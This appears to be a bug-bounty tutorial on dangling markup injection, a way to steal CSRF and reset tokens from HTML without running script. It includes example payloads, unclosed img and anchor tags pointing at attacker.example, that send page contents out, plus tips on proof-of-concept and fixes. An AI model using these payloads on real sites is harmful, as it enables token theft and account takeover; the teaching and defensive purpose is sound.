Dangling Markup Injection: Stealing HTML Without a Full XSS
Sometimes you can inject HTML but not run script. CSP is tight, tags are filtered, attributes are quoted wrong for classic XSS. Dangling markup injection still lets you exfiltrate parts of the page—CSRF tokens, preview fragments, one-time codes—by leaving a tag open so the browser eats the rest of the document into an attacker-controlled request.
No alert required. The network tab tells the story. If your program grades "no JavaScript execution" as a hard ceiling, dangling markup is how you still show concrete data theft.
The core trick
Imagine the page renders your input, then later prints a secret:
<div>Welcome, USER_INPUT</div>
...
<input type="hidden" name="csrf" value="TOKEN">
If USER_INPUT is something like <img src='https://attacker.example/log?q= without closing the quote or tag, the browser may treat everything through the token as part of the URL until a matching quote appears. Your server receives a request whose path or query contains the stolen markup.
<a href='https://attacker.example/ and some <meta http-equiv="refresh" patterns have been used similarly. Exact behavior depends on parser state and what appears later on the page. Fuzz less; read the HTML around the injection.
When it works and when it dies
Favorites for defenders: CSP that blocks your image host (less relevant for navigation), automatic escaping of quotes, and putting secrets in HTTP-only cookies instead of HTML. Content-Security-Policy img-src can stop <img> exfil; try other dangling tags if images are blocked.
HTTP/2 and compression do not kill the bug. What kills it is correct encoding of the reflection. If your input lands inside an attribute already quoted, dangling injection may need a different breakout first.
I've had dangling markup pay on password-reset confirm pages where XSS was "impossible" per the program FAQ. The FAQ was about script sinks. Tokens in HTML still mattered.
Pages that stream HTML in chunks can change where the browser closes your attribute. Reproduce with the live app, not a saved static snapshot, or you will chase ghosts.
Building a clean PoC
Use a unique path on your collaborator. Trigger the page with a short secret you can recognize. Show the access log line containing that secret. Redact anything that looks like a real user token from other accounts—only your accounts.
Explain the stolen field's value: CSRF leading to state change, reset token leading to account takeover, API key leading to data access. Raw HTML theft without a sensitive field is usually low severity; be honest.
Length limits and early closing quotes elsewhere on the page can truncate your exfil. If the first attempt cuts off before the token, move the injection closer to the secret or shorten the attacker URL so more of the trailing markup fits.
Fix advice to include
Encode output correctly, avoid reflecting raw HTML, move anti-CSRF tokens out of easily slurped locations when possible, and tighten CSP. Developers often ask for "the XSS payload." Reply that script execution was never the claim—token theft via markup was.
Dangling markup is a patience game. One unclosed quote in the right place beats twenty noisy XSS attempts against a solid CSP.